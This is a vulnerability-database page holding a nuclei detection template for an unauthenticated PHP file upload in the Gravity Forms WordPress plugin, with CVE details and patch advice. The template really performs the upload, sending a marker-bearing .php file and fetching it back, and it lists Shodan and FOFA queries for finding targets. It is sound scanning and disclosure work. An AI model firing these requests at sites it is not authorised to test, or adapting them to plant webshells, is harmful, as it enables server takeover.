Lucene search
+L

WordPress Gravity Forms Plugin <=3.1.0.4 - Unauthenticated Arbitrary File Upload

🗓️ 21 Sep 2026 05:38:43Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 4 Views

Unauthenticated file upload to RCE in Gravity Forms up to 3.1.0.4 via hidden file upload fields.

Related
Refs
Code
id: CVE-2026-84434

info:
  name: WordPress Gravity Forms Plugin <=3.1.0.4 - Unauthenticated Arbitrary File Upload
  author: DhiyaneshDk
  severity: critical
  description: |
    Gravity Forms WordPress plugin version 3.1.0.4 and earlier contains an unauthenticated arbitrary file upload vulnerability caused by bypassing extension validation in hidden file upload fields. Unauthenticated attackers can upload any file type including PHP when a form has a File Upload field configured with Hidden visibility. The bypass works because the server-side extension validation is skipped for fields with gfield_visibility_hidden CSS class.
  impact: |
    Unauthenticated attackers can upload arbitrary files including PHP webshells, enabling remote code execution on the web server leading to full server compromise.
  remediation: |
    Update Gravity Forms to version 3.1.1 or later.
  reference:
    - https://github.com/murrez/CVE-2026-84434
    - https://patchstack.com/database/wordpress/plugin/gravityforms/vulnerability/wordpress-gravity-forms-plugin-3-1-0-4-unauthenticated-arbitrary-file-upload-via-hidden-file-upload-field-vulnerability
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/787e22a9-329b-4e71-bc2a-4f5524fc9356
    - https://docs.gravityforms.com/gravityforms-change-log/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-84434
    cwe-id: CWE-434
  metadata:
    verified: true
    max-request: 21
    vendor: rocketgenius
    product: gravityforms
    shodan-query: 'http.html:"gravityforms" http.html:"gform_wrapper"'
    fofa-query: 'body="gravityforms" && body="gform_wrapper"'
  tags: cve,cve2026,wordpress,plugin,gravityforms,file-upload,rce,unauth,kev,vkev

variables:
  marker: "{{rand_text_alpha(16)}}"
  fname: "{{rand_text_alpha(10)}}"
  boundary: "NucleiUpload{{rand_text_alpha(12)}}"

flow: |
  http("detect");

  let scanPaths = ["/", "/contact/", "/contact-us/", "/get-in-touch/", "/support/",
                   "/apply/", "/register/", "/signup/", "/donate/", "/quote/",
                   "/request-quote/", "/book/", "/appointment/", "/upload/"];

  let formFound = false;

  for (let i = 0; i < scanPaths.length; i++) {
    set("scan_path", scanPaths[i]);
    http("scan");

    if (template["form_id"] && template["hidden_field_input_name"]) {
      set("found_page_path", scanPaths[i]);
      formFound = true;
      break;
    }
    set("form_id", "");
    set("hidden_field_input_name", "");
  }

  if (!formFound) {
    stop();
  }

  http("submit-page");

  if (!template["upload_file_url"] && !template["upload_rel_url"] && template["gform_ajax_value"]) {
    http("submit-ajax");
  }

  let verifyUrl = template["upload_file_url"] || template["upload_rel_url"] || "";
  if (verifyUrl) {
    if (!verifyUrl.startsWith("http")) {
      verifyUrl = "{{BaseURL}}/" + verifyUrl;
    }
    verifyUrl = verifyUrl.replace(/&amp;/g, "&");
    set("verify_url", verifyUrl);
    http("verify-upload");
  }

http:
  - id: detect
    raw:
      - |
        GET /wp-content/plugins/gravityforms/gravityforms.php HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
        internal: true

  - id: scan
    raw:
      - |
        GET {{BaseURL}}{{scan_path}} HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "gfield_visibility_hidden", "gfield--type-fileupload", "gravityforms")'
        internal: true

    extractors:
      - type: regex
        name: form_id
        part: body
        internal: true
        group: 1
        regex:
          - 'id=["'']?gform_wrapper_([0-9]+)["'']?'

      - type: regex
        name: hidden_field_input_name
        part: body
        internal: true
        group: 1
        regex:
          - 'gfield_visibility_hidden[^>]*>[\s\S]{0,800}?name=["''](input_[0-9]+(?:_[0-9]+)?)["''][^>]*type=["'']file["'']'
          - 'gfield_visibility_hidden[^>]*>[\s\S]{0,800}?type=["'']file["''][^>]*name=["''](input_[0-9]+(?:_[0-9]+)?)["'']'

      - type: regex
        name: form_unique_id
        part: body
        internal: true
        group: 1
        regex:
          - 'name=["'']gform_unique_id["''][^>]*value=["'']([^"'']*)["'']'

      - type: regex
        name: gform_ajax_value
        part: body
        internal: true
        group: 1
        regex:
          - 'name=["'']gform_ajax["''][^>]*value=["'']([^"'']*)["'']'

  - id: submit-page
    raw:
      - |
        POST {{BaseURL}}{{found_page_path}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----{{boundary}}
        Referer: {{BaseURL}}{{found_page_path}}
        Origin: {{RootURL}}

        ------{{boundary}}
        Content-Disposition: form-data; name="is_submit_{{form_id}}"

        1
        ------{{boundary}}
        Content-Disposition: form-data; name="gform_submit"

        {{form_id}}
        ------{{boundary}}
        Content-Disposition: form-data; name="gform_unique_id"

        {{form_unique_id}}
        ------{{boundary}}
        Content-Disposition: form-data; name="gform_target_page_number_{{form_id}}"

        0
        ------{{boundary}}
        Content-Disposition: form-data; name="gform_source_page_number_{{form_id}}"

        1
        ------{{boundary}}
        Content-Disposition: form-data; name="{{hidden_field_input_name}}"; filename="{{fname}}.php"
        Content-Type: application/x-php

        {{marker}}
        ------{{boundary}}--

    matchers:
      - type: dsl
        dsl:
          - 'contains_any(body, "gform_confirmation", "gf-download", "wp-content/uploads/gravity_forms", "is_valid")'


    extractors:
      - type: regex
        name: upload_file_url
        part: body
        internal: true
        group: 1
        regex:
          - 'href=[''"]((?:https?:)?//[^''"]*gf-download=[^''"]+)[''"]'

      - type: regex
        name: upload_rel_url
        part: body
        internal: true
        group: 0
        regex:
          - 'index\.php\?gf-download=[^''"<>\s]+'

  - id: submit-ajax
    raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----{{boundary}}
        Referer: {{BaseURL}}{{found_page_path}}
        Origin: {{RootURL}}

        ------{{boundary}}
        Content-Disposition: form-data; name="action"

        gform_ajax
        ------{{boundary}}
        Content-Disposition: form-data; name="gform_ajax"

        {{gform_ajax_value}}
        ------{{boundary}}
        Content-Disposition: form-data; name="is_submit_{{form_id}}"

        1
        ------{{boundary}}
        Content-Disposition: form-data; name="gform_submit"

        {{form_id}}
        ------{{boundary}}
        Content-Disposition: form-data; name="gform_unique_id"

        {{form_unique_id}}
        ------{{boundary}}
        Content-Disposition: form-data; name="gform_target_page_number_{{form_id}}"

        0
        ------{{boundary}}
        Content-Disposition: form-data; name="gform_source_page_number_{{form_id}}"

        1
        ------{{boundary}}
        Content-Disposition: form-data; name="{{hidden_field_input_name}}"; filename="{{fname}}.php"
        Content-Type: application/x-php

        {{marker}}
        ------{{boundary}}--

    matchers:
      - type: dsl
        dsl:
          - 'contains_any(body, "gform_confirmation", "gf-download", "wp-content/uploads/gravity_forms", "is_valid")'
        internal: true

    extractors:
      - type: regex
        name: upload_file_url
        part: body
        internal: true
        group: 1
        regex:
          - 'href=[''"]((?:https?:)?//[^''"]*gf-download=[^''"]+)[''"]'

      - type: regex
        name: upload_rel_url
        part: body
        internal: true
        group: 0
        regex:
          - 'index\.php\?gf-download=[^''"<>\s]+'

  - id: verify-upload
    raw:
      - |
        GET {{verify_url}} HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "{{marker}}")'
# digest: 4a0a00473045022100e8775919f779dc649cab5df509965e99223ca7575cdfa73617f3bc868f61556802202f6af6575f719ae6991f2e3a84eee6c4792490a419e423de46a4ff8cc6893129:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

21 Sep 2026 05:15Current
CVSS 3.19.8
EPSS0.00697
SSVC
4